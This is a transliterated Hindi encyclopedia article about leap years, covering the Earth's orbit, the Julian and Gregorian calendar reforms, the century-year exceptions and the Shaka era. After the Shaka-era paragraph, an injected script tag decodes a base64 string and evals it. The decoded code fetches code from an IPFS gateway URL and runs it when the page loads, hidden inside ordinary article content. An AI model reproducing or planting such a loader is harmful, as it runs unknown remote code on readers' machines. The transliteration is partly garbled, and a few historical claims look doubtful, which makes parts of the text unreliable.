लीप वर्ष

भारत डिस्कवरी प्रस्तुति
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lip varsh
vivaran pratyek char varsh bad ane vala varsh lip varsh ya adhivarsh kahalata hai. is varsh mean 365 ke sthan par 366 din hote haian arthat ek din adhik hota hai.
vishesh yadi 29 faravari ki vyavastha n ho to ham har sal prakriti ke kaileandar se lagabhag chhah ghante age nikal jaeange, yani ek sadi mean 24 din age. aisa hota to mausam ko mahine se jo d kar rakhana mushkil ho jata.
any janakari lip varsh ka atirikt din 29 faravari mahattvapoorn hai, kyoanki yah prakriti dvara sauramandal aur isake niyamoan se ata hai. yah dharati ke soory ki parikrama karane se ju da hua hai.

lip varsh har char varsh bad ane vala varsh lip varsh ya adhivarsh kahalata hai . is varsh mean 365 ke sthan par 366 din hote haian arthat ek din adhik hota hai. prithvi ko soory ka chakkar lagane mean 365 din aur lagabhag 6 ghante lagate haian . is karan se pratyek char varsh mean ek din adhik ho jata hai, atah pratyek char varsh bad faravari mah mean ek din atirikt jo d kar santulan banaya jata hai.

  • adhivarsh sankhya 4 se bhajy hote haian.
  • 2004 adhivarsh tha.
  • '00' se aant hone vale varsh adhivarsh nahian hote kiantu 2000 adhivarsh tha.
  1. vah chandr varsh jisamean malamas p data ho.
  2. vah eesvi sanh jisamean faravari 29 din ka ho.
  3. vah saur varsh jisamean phalgun 31 din ka ho, lip eeyar hota hai.

prithvi aur soory

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lip varsh ka atirikt din 29 faravari mahattvapoorn hai kyoanki yah prakriti dvara saur mandal aur isake niyamoan se ata hai. yah dharati ke soory ki parikrama karane se ju da hua hai. prithvi ko soory ka ek chakkar lagane mean 365.242 din lagate haian arthat ek kaileandar varsh se chauthaee din adhik. atah pratyek chauthe varsh kaileandar mean ek din atirikt jo dana p data hai. is badhe din vale sal ko lip varsh ya adhivarsh kahate haian. ye atirikt din gregoriyan kaileandar mean lip varsh ka 60vaan din banata hai arthat 29faravari.

yadi 29 faravari ki vyavastha n ho to ham pratyek varsh prakriti ke kaileandar se lagabhag chhah ghante age nikal jaeange, yani ek sadi mean 24 din age. yadi aisa hota to mausam ko mahine se jo d kar rakhana mushkil ho jata. yadi lip varsh ki vyavastha khatm kar dean to ajakal jise mee-joon ki s di huee garmi kahate haian vaisi sthiti 500 sal bad disanbar mean aegi.

bharatiy siddhaant

lagabhag 1500 varsh poorv bharat ke hi ganit jyotishachary bhaskarachary ne thik-thik hisab laga kar bataya ki prithvi ke soory ke charoan or ek bar ghoomane mean 365.258756484 din lagate haian, jise ek varsh gina jata hai. bharat ke hi aryabhat ne shoony ke siddhant ki sthapana ki jisane sankhya pranali ko atirikt shakti pradan ki jisamean us samay tak keval 9 aank the .

jooliyan kaileandar mean lip varsh

eesa poorv 46 mean jooliyas sizar dvara lae ge jooliyan kaileandar mean lip varsh ki vyavastha ki gee thi. un samay kaileandar ka aantim mahina faravari hota tha, jo sabase chhota mahina bhi tha. isalie atirikt din faravari mean jo da gaya. jooliyas sizar ne mausam ko mahine se thik-thik milane ke prayas mean us sal yani 46 bi.si. mean kul 90 atirikt din bhi jo de . kul 445 dinoan ka varsh jise khud sizar ne bhi 'bhram ka aantim varsh' kaha tha.

42 bi.si. mean pahala lip varsh apanae jane ke bad bhi bhram bana raha, jab jooliyas sizar ke kisi adhikari ki galati ke karan pratyek tisare sal ko lip varsh banaya jane laga. ise 36 sal bad jooliyas ke uttaradhikari aaugastas sizar ne thik kiya, usane tin lip varsh bina kisi atirikt din jo de guzar jane die aur 8 e. di. se dobara har chauthe sal lip varsh ko niyamapoorvak lagoo karana sunishchit kiya.

lekin jooliyan kaileandar ko lagoo kie jane ke bad bhi ek kami rah gee thi jise luiji gigliyo ne door kiya. gigliyo ne 1580 ke lagabhag yah siddh kiya ki prakriti ki gh di ke sath poori tarah tal mila kar chalane ke lie har chauthe varsh ek din jo dane ki vyavastha mean kuchh apavad lagane hoange. usane kaha ki koee varsh jo 4 se vibhajit hota ho, usamean faravari 29 din ka hoga. kiantu yadi 4 se vibhajit sal 100 se bhi vibhajit hota hai to usamean faravari 28 din ka hi hoga. isake oopar gigliyo ne ek aur vyavastha di ki 4 aur 100 se vibhajit hone vala varsh yadi 400 se bhi vibhajit hota ho to use lip varsh mana jae. atah varsh 1700, 1800 aur 1900 ko jahaan samany varsh mana gaya, vahian 2000 ko lip varsh mana gaya.

gregoriyan kaileandar

pop gregori ke adesh ke bad kaitholik deshoan ne sanshodhit jooliyan kaileandar ya ne gregoriyan kaileandar ko 1582 mean lagoo kiya. ne kaileandar mean sal ka aantim mahina faravari nahian, balki disanbar nishchit kiya gaya aur lip varsh ka atirikt din faravari ke lie hi rahane diya gaya. us sal ne kaileandar lagoo karane ki prakriya mean 5 se 14 aktoobar ki tarikh gayab karani p di. isi tarah jab 1752 mean briten aur usake adhinasth deshoan ne aantat: gregoriyan kaileandar apanaya to unhean us sal 3 se 13 sitanbar ki tithiyaan hatani p dian.

kiantu isake bad bhi sarvamany gregoriyan varsh abhi saur varsh se 27 sekeand b da hai. kaileandar mean koee sudhar nahian kiya gaya to das hazar sal bad ham prakriti ke kaileandar se tin din age hoange. isase bachane ke lie koee 3236 sal bad ek bar faravari ko 30 din ka banana p d sakata hai.

shak yug

adhivarsh mean, chaitr mean 31 din hote haian aur isaki shuruat 21 march ko hoti hai. varsh ki pahali chhamahi ke sabhi mahine 31 din ke hote haian, jisaka karan is samay soory ki dhimi gati hai.

mahinoan ke nam purane, hindoo chandr-saur panchaang se lie gaye haian isalie vartani bhinn roopoan mean maujood hai, aur kaun si tithi kis kaileandar se sanbandhit hai isake bare mean bhram bana rahata hai.

shak yug , ka pahala varsh samany yug ke 78 vean varsh se shuroo hota hai, adhivarsh nirdharit karane ke shak varsh mean 78 jo d dean- yadi gregoriyan kaileandar mean parinam ek adhivarsh hai, to shak varsh bhi ek adhivarsh hi hoga. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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sanbandhit lekh

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kal ganana

varnamala kramanusar lekh khoj

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